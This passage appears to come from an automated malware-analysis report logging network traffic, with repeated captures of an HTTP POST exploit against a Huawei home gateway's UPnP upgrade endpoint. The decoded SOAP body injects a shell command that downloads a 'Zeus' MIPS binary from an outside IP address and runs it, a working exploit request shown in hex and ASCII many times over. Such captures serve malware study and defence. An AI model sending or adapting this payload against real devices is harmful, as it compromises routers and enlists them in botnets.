75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 